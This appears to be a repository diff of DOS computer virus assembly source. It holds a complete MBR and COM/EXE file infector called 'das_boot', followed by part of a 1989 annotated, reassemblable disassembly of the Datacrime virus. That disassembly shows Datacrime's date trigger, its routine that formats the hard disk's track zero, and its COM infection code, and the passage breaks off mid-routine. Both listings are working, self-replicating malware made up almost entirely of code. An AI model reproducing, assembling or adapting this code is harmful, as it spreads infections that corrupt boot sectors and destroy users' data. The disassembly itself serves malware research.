;=============================================================================
|
||||
|
||||
boot equ 07b00 ;delta offset for boot-time location
|
||||
com equ 0100 ;delta offset for resident location
|
||||
EXE_id equ -040 ;EXE infection tag
|
||||
viruslength equ 01a5 ;length of virus = 421 bytes
|
||||
|
||||
das_boot:
|
||||
call relative
|
||||
|
||||
oldheader db 0cd, 020 ;*(00) EXE file signature | COM file's
|
||||
dw ? ;*(02) # of bytes in last page| 1st 3 bytes
|
||||
dw ? ;*(04) size of file + header (pages)
|
||||
dw ? ; (06) # of relocation items
|
||||
dw ? ; (08) size of header (paragraphs)
|
||||
dw ? ; (0A) min paragraphs needed
|
||||
dw ? ; (0C) max paragraphs needed
|
||||
dw ? ;*(0E) ss displacement from entry in para.
|
||||
dw ? ;*(10) sp value at entry
|
||||
dw ? ; (12) checksum
|
||||
dw ? ;*(14) ip value at entry
|
||||
dw ? ;*(16) cs displacement from entry in para.
|
||||
;* - indicates value modified by das_boot
|
||||
relative:
|
||||
pop bp ;pop offset of oldheader off of stack
|
||||
sub bp,03 ;adjust offset to start of program
|
||||
mov ax,cs ;load ax with current segment
|
||||
mov cl,04 ;load cl with multiplier/shift value
|
||||
shl ax,cl ;calculate absolute segment
|
||||
mov si,bp ;load si with program offset
|
||||
add si,ax ;calculate absolute address
|
||||
cmp si,07c00 ;code executing at boot-time address?
|
||||
jne infect_mbr ;if not, must be executing from file,
|
||||
; so attempt to infect MBR
|
||||
xor ax,ax ;zero ax
|
||||
mov ds,ax ;point ds to vector table
|
||||
|
||||
push si ;save 0000:07c00 on stack as load
|
||||
push ds ; location for original MBR
|
||||
|
||||
dec word ptr [0413] ;decrease conventional memory by 1KB
|
||||
int 012 ;load ax with #KB of conv. memory
|
||||
mov cx,0106 ;load move (100) and shift (06) values
|
||||
shl ax,cl ;calculate destination segment
|
||||
|
||||
mov es,ax ;set es to destination segment
|
||||
mov [022*4+2],ax ;store boot tag in int22 vector seg.
|
||||
xchg [013*4+2],ax ;point int13 vector to virus segment
|
||||
mov [offset old13+boot+2],ax ;store old int13 segment value
|
||||
mov ax,offset int13-com ;load ax with virus int13 handler off.
|
||||
xchg [013*4],ax ;point int13 vector to virus offset
|
||||
mov [offset old13+boot],ax ;store old int13 offset value
|
||||
|
||||
xor di,di ;set destination offset=0000
|
||||
cld ;clear direction flag (fwd)
|
||||
rep movsw ;move virus to top of conv. memory
|
||||
|
||||
push es ;push destination segment for retf
|
||||
mov bx,offset top_mem-com ;load bx with offset
|
||||
push bx ;push offset for retf
|
||||
retf ;return to self at new location
|
||||
top_mem:
|
||||
pop es ;pop es=0000 as disk load segment
|
||||
mov ax,0201 ;select read-one-sector function
|
||||
pop bx ;pop bx=07c00 as disk load offset
|
||||
mov cl,02 ;cylinder 0, sector 2 (original MBR)
|
||||
int 013 ;load original MBR
|
||||
|
||||
jmp 0000:07c00 ;jump to execute original MBR
|
||||
|
||||
infect_mbr:
|
||||
push ds ;preserve registers
|
||||
push es
|
||||
|
||||
push cs
|
||||
pop ds ;set ds=cs
|
||||
push cs
|
||||
pop es ;set es=cs
|
||||
|
||||
mov ax,0201 ;select read-one-sector function
|
||||
lea bx,[bp+viruslength] ;set load offset just beyond program
|
||||
mov cx,01 ;cylinder 0, sector 1 (MBR)
|
||||
mov dx,080 ;head 0, drive "C"
|
||||
int 013 ;load MBR
|
||||
jb exit_small ;if flag=error, exit
|
||||
|
||||
cmp [bx],018e8 ;check for das_boot code
|
||||
je exit_small ;if equal, MBR already infected, so
|
||||
; exit
|
||||
mov ax,0301 ;select write-one-sector function
|
||||
inc cx ;cylinder 0, sector 2
|
||||
int 013 ;relocate original MBR to sector 2
|
||||
|
||||
mov si,bp ;set source offset to start of virus
|
||||
mov di,bx ;set dest. offset to MBR in buffer
|
||||
mov cx,viruslength ;load move count to cx
|
||||
rep movsb ;move virus to MBR in memory
|
||||
|
||||
mov ax,0301 ;select write-one-sector function
|
||||
inc cx ;cylinder 0, sector 1 (MBR)
|
||||
int 013 ;write infected MBR to drive "C"
|
||||
exit_small:
|
||||
pop es ;restore segment registers to point
|
||||
pop ds ; to PSP
|
||||
|
||||
add bp,03 ;reset bp to point to oldheader
|
||||
|
||||
or sp,sp ;test parity of stack pointer
|
||||
jpo returnCOM ;if value is odd, COM file is host
|
||||
returnEXE:
|
||||
mov ax,ds ;load ax with PSP segment
|
||||
add ax,010 ;adjust segment value to skip PSP
|
||||
add [bp+016],ax ;restore orig. cs value in oldheader
|
||||
add ax,[bp+0e] ;calculate original ss entry value
|
||||
mov ss,ax ;load ss with original value
|
||||
mov sp,cs:[bp+010] ;load sp with program entry value
|
||||
jmp dword ptr cs:[bp+014] ;jump to EXE file entry point via
|
||||
; restored value in oldheader
|
||||
returnCOM:
|
||||
mov di,0100 ;COM file entry point & move dest.
|
||||
push di ;save on stack as return offset
|
||||
mov si,bp ;point to stored COM 1st three bytes
|
||||
movsw ;move the original three bytes
|
||||
movsb ; back to the start of the COM file
|
||||
ret ;return to execute the COM file
|
||||
; (return segment already on stack)
|
||||
int13:
|
||||
push ax ;preserve registers
|
||||
push ds
|
||||
|
||||
xor ax,ax ;zero ax
|
||||
mov ds,ax ;point ds to vector table
|
||||
mov ax,cs ;set ax=cs
|
||||
|
||||
cmp [090*4],ax ;bypass flag set?
|
||||
je exit_int13 ;if so, don't steal int21 vector again
|
||||
|
||||
cmp [022*4+2],ax ;int22 vector segment = boot tag?
|
||||
je exit_int13 ;if so, vectors not fully initialized,
|
||||
; so don't steal int21 yet
|
||||
mov [090*4],ax ;put bypass flag in unused BASIC vect.
|
||||
xchg [021*4+2],ax ;point int21 vector to virus segment
|
||||
mov cs:[offset old21-com+2],ax ;store orig. int21 handler segment
|
||||
mov ax,offset int21-com ;load ax with virus int21 handler off.
|
||||
xchg [021*4],ax ;point int21 vector to virus offset
|
||||
mov cs:[offset old21-com],ax ;store orig. int21 handler offset
|
||||
exit_int13:
|
||||
pop ds ;restore registers
|
||||
pop ax
|
||||
|
||||
db 0ea ;"jmp far" to location specified in
|
||||
old13: ; old13
|
||||
dw ?, ? ;offset and segment of original int13
|
||||
; handler
|
||||
infect:
|
||||
push ax ;preserve registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax,03d02 ;open file read/write function
|
||||
int 021 ;attempt to open file read/write
|
||||
xchg ax,bx ;save file handle in bx
|
||||
|
||||
push cs
|
||||
pop ds ;set ds=cs
|
||||
push cs
|
||||
pop es ;set es=cs
|
||||
|
||||
mov si,offset oldheader-com ;point to offset of oldheader
|
||||
|
||||
mov ah,03f ;read file function
|
||||
mov cx,018 ;first 18 bytes
|
||||
push cx ;save value for later use
|
||||
mov dx,si ;point to oldheader offset
|
||||
int 021 ;load file's 1st 18 bytes to oldheader
|
||||
|
||||
cmp ax,cx ;18 bytes successfully read?
|
||||
jne go_already_infected ;if not, open file read/write failed,
|
||||
; so exit
|
||||
|
||||
mov di,offset target-com ;point to target offset
|
||||
push di ;save offset value for later use
|
||||
rep movsb ;move oldheader to target (cx=18)
|
||||
pop di ;restore di to target offset value
|
||||
|
||||
mov ax,04202 ;move file pointer, offset from EOF
|
||||
cwd ;set dx=0000 (LSP) [cx=0000 (MSP)]
|
||||
int 021 ;move file pointer to EOF, dx:ax
|
||||
; returned as new file pointer
|
||||
cmp ds:[di],'ZM' ;check target header for EXE tag
|
||||
je infectEXE ;if present, infect EXE
|
||||
|
||||
infectCOM:
|
||||
sub ax,03 ;subtract 3 from file pointer offset
|
||||
mov byte ptr ds:[di],0e9 ;put "jmp" at start of target header
|
||||
mov ds:[di+01],ax ;put jmp offset in target header
|
||||
|
||||
sub ax,viruslength ;calc. jmp offset of infected file
|
||||
cmp ds:[si-017],ax ;does file's jmp offset match?
|
||||
jne finishinfect ;if not, it's not infected, so infect
|
||||
go_already_infected:
|
||||
pop cx ;discard excess value on stack
|
||||
jmp short already_infected ;exit infection routine
|
||||
|
||||
int21:
|
||||
cmp ax,04b00 ;load and execute file request?
|
||||
je infect ;if so, attempt to infect file
|
||||
jmp short chain ;if not, jump to orig. int21 handler
|
||||
|
||||
infectEXE:
|
||||
cmp word ptr [di+010],EXE_id ;check for infect tag in target SP
|
||||
je go_already_infected ;if tag is present, don't infect
|
||||
|
||||
push ax ;push file pointer LSP
|
||||
push dx ;push file pointer MSP
|
||||
|
||||
add ax,viruslength ;add virus length to file length (LSP)
|
||||
adc dx,0 ;adjust MSP (segment) to reflect
|
||||
; any carry from adjustment of LSP
|
||||
mov cx,0200 ;set cx=1 page (512d bytes)
|
||||
div cx ;divide new file length by 512d to
|
||||
; calculate number of pages in file
|
||||
or dx,dx ;remainder in dx?
|
||||
jz nohiccup ;if not, no need to add another page
|
||||
inc ax ;add another page to length value
|
||||
nohiccup:
|
||||
mov ds:[di+04],ax ;store # of pages in target header
|
||||
mov ds:[di+02],dx ;store # of bytes in last page in
|
||||
; target header
|
||||
pop dx ;restore dx to file pointer MSP
|
||||
pop ax ;restore ax to file pointer LSP
|
||||
|
||||
mov cx,010 ;convert dx:ax to
|
||||
div cx ; segment(ax):offset(dx) form
|
||||
|
||||
sub ax,ds:[di+08] ;subtract header size
|
||||
|
||||
mov ds:[di+014],dx ;store new entry ip in target
|
||||
mov ds:[di+016],ax ;store new entry cs displacement
|
||||
|
||||
mov ds:[di+0e],ax ;store new entry ss displacement
|
||||
mov word ptr ds:[di+010],EXE_id ;store EXE_id as sp in target
|
||||
finishinfect:
|
||||
mov ah,040 ;write to file w/handle function
|
||||
mov cx,viruslength ;specify # of bytes to write
|
||||
xor dx,dx ;set buffer start at virus offset
|
||||
int 021 ;write _small to EOF
|
||||
|
||||
mov ax,04200 ;move file pointer, offset from BOF
|
||||
xor cx,cx ;MSP of offset cx=0000
|
||||
cwd ;LSP of offset dx=0000
|
||||
int 021 ;move file pointer to BOF
|
||||
|
||||
mov ah,040 ;write to file w/handle function
|
||||
mov dx,di ;set buffer start at target header
|
||||
pop cx ;specify 18 bytes to write
|
||||
int 021 ;write modified EXE header (or COM
|
||||
; jmp xxxx & next 15 bytes) to BOF
|
||||
already_infected:
|
||||
mov ah,03e ;close file w/handle function
|
||||
int 021 ;close file
|
||||
exitinfect:
|
||||
pop es ;preserve registers
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
chain:
|
||||
db 0ea ;"jmp far" to location specified in old21
|
||||
heap:
|
||||
|
||||
old21 dw ?, ? ;offset and segment of orig. int21 handler
|
||||
|
||||
target dw ? ;*(00) EXE file signature | COM file's
|
||||
dw ? ;*(02) # of bytes in last page| jmp to virus
|
||||
dw ? ;*(04) size of file + header (pages)
|
||||
dw ? ; (06) # of relocation items
|
||||
dw ? ; (08) size of header (paragraphs)
|
||||
dw ? ; (0A) min paragraphs needed
|
||||
dw ? ; (0C) max paragraphs needed
|
||||
dw ? ;*(0E) ss displacement from entry in para.
|
||||
dw ? ;*(10) sp value at entry
|
||||
dw ? ; (12) checksum
|
||||
dw ? ;*(14) ip value at entry
|
||||
dw ? ;*(16) cs displacement from entry in para.
|
||||
;* - indicates value modified by das_boot
|
||||
endheap:
|
||||
|
||||
end das_boot
|
||||
@@ -0,0 +1,537 @@
|
||||
;
|
||||
; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
|
||||
; : British Computer Virus Research Centre :
|
||||
; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
|
||||
; : Telephone: Domestic 0273-26105, International +44-273-26105 :
|
||||
; : :
|
||||
; : The 'Datacrime' Virus :
|
||||
; : Disassembled by Joe Hirst, May 1989 :
|
||||
; : :
|
||||
; : Copyright (c) Joe Hirst 1989. :
|
||||
; : :
|
||||
; : This listing is only to be made available to virus researchers :
|
||||
; : or software writers on a need-to-know basis. :
|
||||
; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
|
||||
|
||||
; The virus occurs attached to the end of a COM file. The first
|
||||
; three bytes of the program are stored in the virus, and replaced
|
||||
; by a branch to the beginning of the virus.
|
||||
|
||||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||||
|
||||
; Addressability is maintained by taking the offset from the
|
||||
; initial jump to the virus. This is the length of the host minus
|
||||
; three (length of the jump instruction). Three is subtracted
|
||||
; from this figure (presumably the length of the original "host"
|
||||
; program when the virus was released). The result is kept in
|
||||
; register SI. Data addresses add SI+106H (COM origin of 100H
|
||||
; + length of jump + length of initial host) to the offset of the
|
||||
; data item within the virus.
|
||||
|
||||
; Note that if it does nothing else this virus will almost certainly
|
||||
; screw up the critical error handler because:
|
||||
|
||||
; 1. There is a missing segment override on the restore of the
|
||||
; original segment (presumably the result of inserting such
|
||||
; overrides manually), and
|
||||
|
||||
; 2. If the virus looks at more than one disk it will reinstall
|
||||
; the routine, overwriting the original saved vector with that
|
||||
; of its own routine.
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:CODE
|
||||
|
||||
ORG 09AH
|
||||
DW009A DW ?
|
||||
|
||||
ORG 101H
|
||||
DW0101 DW ?
|
||||
|
||||
; Start of virus - Set up relocation factor
|
||||
|
||||
ORG 0
|
||||
START: MOV SI,CS:DW0101 ; Address initial jump to virus
|
||||
SUB SI,3 ; Length of original host (?)
|
||||
MOV AX,SI ; Copy relocation factor
|
||||
CMP AX,0 ; Is it zero (initial release)?
|
||||
JNE BP0012 ; Branch if not
|
||||
JMP BP0110 ; Infection routine
|
||||
|
||||
; Restore host and test initial start month
|
||||
|
||||
BP0012: LEA DI,DB03D5[SI+106H] ; Address stored start of host
|
||||
MOV BX,0100H ; Address beginning of host program
|
||||
MOV CX,5 ; Word count
|
||||
BP001C: MOV AX,[DI] ; Get next word
|
||||
MOV [BX],AX ; Replace next word
|
||||
ADD BX,2 ; Address next target word
|
||||
ADD DI,2 ; Address next stored word
|
||||
DEC CX ; Reduce count
|
||||
JNZ BP001C ; Repeat for each word
|
||||
MOV AH,2AH ; Get date function
|
||||
INT 21H ; DOS service
|
||||
MOV AL,CS:DB03EA[SI+106H] ; Get start month
|
||||
CMP AL,DH ; Is it start month yet?
|
||||
JG BP0040 ; Branch if not
|
||||
MOV CS:DB03EA[SI+106H],0 ; Don't do test any more
|
||||
JMP BP0045
|
||||
|
||||
; Pass control to host program
|
||||
|
||||
BP0040: MOV BX,0100H ; Address beginning of host program
|
||||
JMP BX ; Branch to host program
|
||||
|
||||
; Are we in target part of year?
|
||||
|
||||
BP0045: MOV AX,CS:DW03E8[SI+106H] ; Get start month and day
|
||||
CMP AX,DX ; Compare to actual
|
||||
JL BP0051 ; Branch if after start date
|
||||
JMP BP0110 ; Infection routine
|
||||
|
||||
; Is there a hard disk?
|
||||
|
||||
BP0051: MOV AX,0 ; Clear register
|
||||
PUSH DS
|
||||
MOV DS,AX ; Address segment zero
|
||||
MOV BX,0106H ; Address Int 41H segment
|
||||
MOV AX,[BX] ; Get Int 41H segment
|
||||
POP DS
|
||||
CMP AX,0 ; Is it zero (no hard disk)?
|
||||
JNE BP0067 ; Branch if not
|
||||
MOV BX,0100H ; Address beginning of host program
|
||||
JMP BX ; Branch to host program
|
||||
|
||||
; Display message and format track zero, heads 0 - 8
|
||||
|
||||
BP0067: LEA BX,DB00E7[SI+106H] ; Address encrypted string
|
||||
MOV CL,29H ; Load length of string
|
||||
BP006D: MOV DL,CS:[BX] ; Get a character
|
||||
XOR DL,55H ; Decrypt character
|
||||
MOV AH,2 ; Display character function
|
||||
INT 21H ; DOS service
|
||||
INC BX ; Address next character
|
||||
DEC CL ; Reduce count
|
||||
JNZ BP006D ; Repeat for each character
|
||||
MOV BX,OFFSET DW00A7+106H ; Address format buffer (no SI?)
|
||||
MOV CH,0 ; Track zero
|
||||
MOV DX,0080H ; Head zero, first hard disk
|
||||
BP0084: MOV CH,0 ; Track zero
|
||||
MOV AL,0 ; Load zero
|
||||
MOV CL,6 ; \ Multiply zero by 64
|
||||
SHL AL,CL ; /
|
||||
MOV CL,AL ; Move result (zero)
|
||||
OR CL,1 ; Now its one (and next line zero)
|
||||
MOV AX,0500H ; Format track, interleave zero
|
||||
INT 13H ; Disk I/O
|
||||
JB BP009F ; Branch if error
|
||||
INC DH ; Next head
|
||||
CMP DH,9 ; Is it head nine?
|
||||
JNE BP0084 ; Format if not
|
||||
BP009F: MOV AH,2 ; Display character function
|
||||
MOV DL,7 ; Beep
|
||||
INT 21H ; DOS service
|
||||
JMP BP009F ; Loop on beep
|
||||
|
||||
; Format table (required for ATs and PS/2s)
|
||||
; Program does not in fact point to this because the reference
|
||||
; to register SI is missing
|
||||
|
||||
DW00A7 DB 0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H
|
||||
DB 0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H
|
||||
DB 0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H
|
||||
DB 0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H
|
||||
|
||||
; The next field decodes to:
|
||||
|
||||
; DB 'DATACRIME VIRUS', 0AH, 0DH
|
||||
; DB 'RELEASED: 1 MARCH 1989', 0AH, 0DH
|
||||
|
||||
DB00E7 DB 11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H
|
||||
DB 75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H
|
||||
DB 07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H
|
||||
DB 6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H
|
||||
DB 1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H
|
||||
|
||||
; Start of infection routine
|
||||
|
||||
BP0110: MOV AH,19H ; Get current disk function
|
||||
INT 21H ; DOS service
|
||||
MOV CS:DB03F5[SI+106H],AL ; Save current disk
|
||||
MOV AH,47H ; Get current directory function
|
||||
MOV DX,0 ; Default disk
|
||||
PUSH SI
|
||||
LEA SI,DB03F6+1[SI+106H] ; Original directory store
|
||||
INT 21H ; DOS service
|
||||
POP SI
|
||||
MOV CS:DB03EC[SI+106H],0 ; Set disk drive pointer to start
|
||||
JMP BP0130 ; Select disk drive
|
||||
|
||||
; Select disk drive from table
|
||||
|
||||
BP0130: CALL BP0172 ; Install Int 24H routine
|
||||
LEA BX,DB03E3[SI+106H] ; Address disk drive table
|
||||
MOV AL,CS:DB03EC[SI+106H] ; Get disk drive pointer
|
||||
INC CS:DB03EC[SI+106H] ; Update disk drive pointer
|
||||
MOV AH,0 ; Clear top of register
|
||||
ADD BX,AX ; Add disk drive pointer
|
||||
MOV AL,CS:[BX] ; Get next disk drive
|
||||
MOV DL,AL ; Move device for select
|
||||
CMP AL,0FFH ; End of table?
|
||||
JNE BP0151 ; Branch if not
|
||||
JMP BP023C ; Tidy up and terminate
|
||||
|
||||
BP0151: MOV AH,0EH ; Select disk function
|
||||
INT 21H ; DOS service
|
||||
MOV AH,47H ; Get current directory function
|
||||
MOV DL,0 ; Default drive
|
||||
PUSH SI
|
||||
LEA SI,DB0417+1[SI+106H] ; Current directory path name
|
||||
INT 21H ; DOS service
|
||||
POP SI
|
||||
MOV BX,4 ; Address critical error
|
||||
MOV AL,CS:[BX] ; Get critical error code
|
||||
CMP AL,3 ; Was it three?
|
||||
JNE BP01B7 ; Branch if not
|
||||
MOV AL,0 ; \ Set it back to zero
|
||||
MOV CS:[BX],AL ; /
|
||||
JMP BP0130 ; Select next disk drive
|
||||
|
||||
; Install interrupt 24H routine
|
||||
|
||||
BP0172: XOR AX,AX ; Clear register
|
||||
PUSH DS
|
||||
MOV DS,AX ; Address segment zero
|
||||
MOV BX,0090H ; Address Int 24H vector
|
||||
MOV AX,[BX+2] ; Get Int 24H segment
|
||||
MOV CS:DW03CF[SI+106H],AX ; Save Int 24H segment
|
||||
MOV AX,[BX] ; Get Int 24H offset
|
||||
MOV CS:DW03D1[SI+106H],AX ; Save Int 24H offset
|
||||
MOV AX,CS ; Get current segment
|
||||
MOV [BX+2],AX ; Set new Int 24H segment
|
||||
LEA AX,BP01AE[SI+106H] ; Int 24H routine
|
||||
MOV [BX],AX ; Set new Int 24H offset
|
||||
POP DS
|
||||
RET
|
||||
|
||||
; Restore original interrupt 24H
|
||||
|
||||
BP0196: XOR AX,AX ; Clear register
|
||||
PUSH DS
|
||||
MOV DS,AX ; Address segment zero
|
||||
MOV BX,0090H ; Address Int 24H vector
|
||||
MOV AX,CS:DW03CF[SI+106H] ; Get Int 24H segment
|
||||
MOV [BX+2],AX ; Restore Int 24H segment
|
||||
MOV AX,DW03D1[SI+106H] ; Get Int 24H offset (missing CS:)
|
||||
MOV [BX],AX ; Restore Int 24H offset
|
||||
POP DS
|
||||
RET
|
||||
|
||||
; Interrupt 24H routine
|
||||
|
||||
BP01AE: MOV AL,3 ; Fail the system call
|
||||
MOV BX,4 ; Address critical error byte
|
||||
MOV CS:[BX],AL ; Save code
|
||||
IRET
|
||||
|
||||
BP01B7: CALL BP02DA ; Find and infect a file
|
||||
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
|
||||
CMP AL,1 ; Is it on?
|
||||
JNE BP01C6 ; Branch if not
|
||||
JMP BP023C ; Tidy up and terminate
|
||||
|
||||
BP01C6: CALL BP0260 ; Get next directory
|
||||
JNB BP01CE ; Branch if found
|
||||
JMP BP0130 ; Select next disk drive
|
||||
|
||||
BP01CE: MOV CX,0040H ; Maximum characters to copy
|
||||
PUSH SI
|
||||
DEC DI ; \
|
||||
DEC DI ; ) Address back to '*.*'
|
||||
DEC DI ; /
|
||||
MOV WORD PTR [DI],'\ ' ; Word reversed, but overwritten soon
|
||||
MOV SI,BX ; Address file name
|
||||
CLD
|
||||
BP01DC: LODSB ; \ Copy a character
|
||||
STOSB ; /
|
||||
DEC CX ; Decrement count
|
||||
CMP AL,0 ; Was last character zero?
|
||||
JNE BP01DC ; Next character if not
|
||||
POP SI
|
||||
MOV AH,3BH ; Change current directory function
|
||||
LEA DX,DB0438[SI+106H] ; Directory pathname
|
||||
INT 21H ; DOS service
|
||||
CALL BP02DA ; Find and infect a file
|
||||
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
|
||||
CMP AL,1 ; Is it on?
|
||||
JE BP023C ; Tidy up and terminate if yes
|
||||
CALL BP0260 ; Get next directory
|
||||
JNB BP01CE ; Branch if found
|
||||
MOV AH,3BH ; Change current directory function
|
||||
LEA DX,DB0417[SI+106H] ; Current directory path name
|
||||
INT 21H ; DOS service
|
||||
INC CS:DB03E2[SI+106H] ; Increment directory count
|
||||
CALL BP0260 ; Get next directory
|
||||
JB BP023C ; Branch if not found
|
||||
MOV AL,CS:DB03E2[SI+106H] ; Get directory count
|
||||
BP0214: CMP AL,0 ; Is directory count zero yet?
|
||||
JNE BP021D ; Branch if not
|
||||
ADD BX,9 ; ???
|
||||
JMP BP01CE ; ??? Add directory name to path
|
||||
|
||||
BP021D: MOV AH,4FH ; Find next file function
|
||||
PUSH AX
|
||||
INT 21H ; DOS service
|
||||
POP AX
|
||||
JNB BP0228 ; Branch if no error
|
||||
JMP BP0130 ; Select next disk drive
|
||||
|
||||
BP0228: PUSH AX
|
||||
MOV AH,2FH ; Get DTA function
|
||||
INT 21H ; DOS service
|
||||
ADD BX,15H ; Address attributes byte
|
||||
MOV AL,10H ; Directory attribute
|
||||
CMP CS:[BX],AL ; Is it a directory?
|
||||
POP AX
|
||||
JNE BP021D ; Branch if not
|
||||
DEC AL ; Decrement directory count
|
||||
JMP BP0214
|
||||
|
||||
; Reset disk and directory, and pass control to host
|
||||
|
||||
BP023C: MOV AH,0EH ; Select disk function
|
||||
MOV DL,CS:DB03F5[SI+106H] ; Get original current disk
|
||||
INT 21H ; DOS service
|
||||
MOV AH,3BH ; Change current directory function
|
||||
LEA DX,DB03F6[SI+106H] ; Original directory
|
||||
INT 21H ; DOS service
|
||||
CALL BP0196 ; Restore Int 24H
|
||||
MOV AX,SI ; Copy relocation factor
|
||||
CMP AX,0 ; Is it zero (initial release)?
|
||||
JE BP025C ; Terminate 8f not
|
||||
MOV BX,0100H ; Address beginning of host program
|
||||
JMP BX ; Branch to host program
|
||||
|
||||
; Terminate
|
||||
|
||||
BP025C: MOV AH,4CH ; End process function
|
||||
INT 21H ; DOS service
|
||||
|
||||
; Get next directory
|
||||
|
||||
BP0260: LEA DI,DB0438+1[SI+106H] ; Directory pathname
|
||||
MOV CX,003AH ; Length to clear
|
||||
MOV AL,0 ; Set to zero
|
||||
CLD
|
||||
REPZ STOSB ; Clear pathname area
|
||||
MOV AH,47H ; Get current directory function
|
||||
PUSH SI
|
||||
MOV DX,0 ; Current drive
|
||||
LEA SI,DB0438+1[SI+106H] ; Directory pathname
|
||||
INT 21H ; DOS service
|
||||
POP SI
|
||||
CLD
|
||||
LEA DI,DB0438+1[SI+106H] ; Directory pathname
|
||||
MOV CX,0040H ; Length to search
|
||||
MOV AL,0 ; Search for zero
|
||||
REPNZ SCASB ; Search for end of pathname
|
||||
JZ BP0289 ; Branch if found
|
||||
STC
|
||||
RET
|
||||
|
||||
; Set file name wildcard on path
|
||||
|
||||
BP0289: DEC DI ; \ Back two positions
|
||||
DEC DI ; /
|
||||
MOV AL,[DI] ; Get character
|
||||
CMP AL,'\' ; Does path end in dir delim?
|
||||
JE BP0294 ; Branch if yes
|
||||
INC DI ; Next position
|
||||
MOV AL,'\' ; Make next character a dir delim
|
||||
BP0294: MOV [DI],AL ; Store character
|
||||
INC DI ; Next position
|
||||
MOV AL,'*' ; All files
|
||||
MOV [DI],AL ; Store character
|
||||
INC DI ; Next position
|
||||
MOV AL,'.' ; Extension
|
||||
MOV [DI],AL ; Store character
|
||||
INC DI ; Next position
|
||||
MOV AL,'*' ; all extensions
|
||||
MOV [DI],AL ; Store character
|
||||
INC DI ; Next position
|
||||
LEA DX,DB0438[SI+106H] ; Address directory pathname
|
||||
MOV AH,4EH ; Find first file function
|
||||
MOV CX,0010H ; Find directories
|
||||
INT 21H ; DOS service
|
||||
JNB BP02B4 ; Branch if no error
|
||||
RET
|
||||
|
||||
; Valid directories only
|
||||
|
||||
BP02B4: MOV AH,2FH ; Get DTA function
|
||||
INT 21H ; DOS service
|
||||
ADD BX,15H ; Address attribute byte
|
||||
MOV AL,10H ; Directory attribute
|
||||
CMP CS:[BX],AL ; Is it a directory?
|
||||
JNE BP02D2 ; Branch if not
|
||||
CLC
|
||||
MOV AH,2FH ; Get DTA function
|
||||
INT 21H ; DOS service
|
||||
ADD BX,1EH ; Address directory name
|
||||
MOV AL,'.' ; Prepare to test first byte
|
||||
CMP CS:[BX],AL ; Is it a pointer to another dir?
|
||||
JE BP02D2 ; Branch if yes
|
||||
RET
|
||||
|
||||
BP02D2: MOV AH,4FH ; Find next file function
|
||||
INT 21H ; DOS service
|
||||
JNB BP02B4 ; Branch if no error
|
||||
STC
|
||||
RET
|
||||
|
||||
; Find and infect a file
|
||||
|
||||
BP02DA: MOV CS:DB03EB[SI+106H],0 ; Set infection completed switch off
|
||||
MOV AH,4EH ; Find first file function
|
||||
MOV CX,7 ; All files
|
||||
LEA DX,DB03ED[SI+106H] ; Address '*.COM'
|
||||
INT 21H ; DOS service
|
||||
JNB BP02F6 ; Branch if no error
|
||||
RET
|
||||
|
||||
BP02EF: MOV AH,4FH ; Find next file function
|
||||
INT 21H ; DOS service
|
||||
JNB BP02F6 ; Branch if no error
|
||||
RET
|
||||
|
||||
; Exclude COMMAND.COM
|
||||
|
||||
BP02F6: MOV BX,00A4H ; Address seventh letter of name
|
||||
MOV AL,[BX] ; Get character
|
||||
CMP AL,'D' ; Is it a 'D' (as in COMMAND.COM)?
|
||||
JNE BP0301 ; Branch if not
|
||||
JMP BP02EF ; Next file
|
||||
|
||||
; Is it already infected?
|
||||
|
||||
BP0301: MOV BX,0096H ; Address time of file
|
||||
MOV CX,[BX] ; Get time of file
|
||||
ADD BX,2 ; Address date of file
|
||||
MOV DX,[BX] ; Get date of file
|
||||
MOV AL,CL ; Copy low byte of time
|
||||
AND AL,0E0H ; Isolate low part of minutes
|
||||
MOV AH,AL ; Copy low part of minutes
|
||||
SHR AL,1 ; \
|
||||
SHR AL,1 ; \
|
||||
SHR AL,1 ; ) Move mins to secs position
|
||||
SHR AL,1 ; /
|
||||
SHR AL,1 ; /
|
||||
OR AL,AH ; Combine with minutes
|
||||
CMP AL,CL ; Compare to actual time
|
||||
JNE BP0323 ; Branch if different
|
||||
JMP BP02EF ; Find next file
|
||||
|
||||
; Uninfected COM file found
|
||||
|
||||
BP0323: PUSH CX
|
||||
PUSH DX
|
||||
MOV AX,CS:DW009A ; Get low-order length
|
||||
MOV CS:DW03D3[SI+106H],AX ; Save low-order length
|
||||
CALL BP03AA ; Remove read-only attribute
|
||||
MOV AX,3D02H ; Open handle (R/W) function
|
||||
MOV DX,009EH ; File name
|
||||
INT 21H ; DOS service
|
||||
MOV BX,AX ; Move handle
|
||||
MOV AH,3FH ; Read handle function
|
||||
LEA DX,DB03D5[SI+106H] ; Store area for start of host
|
||||
MOV CX,000AH ; Read first ten bytes
|
||||
INT 21H ; DOS service
|
||||
MOV AX,4202H ; Move file pointer (EOF) function
|
||||
XOR CX,CX ; \ No displacement
|
||||
XOR DX,DX ; /
|
||||
INT 21H ; DOS service
|
||||
MOV CX,OFFSET ENDADR ; Length of virus
|
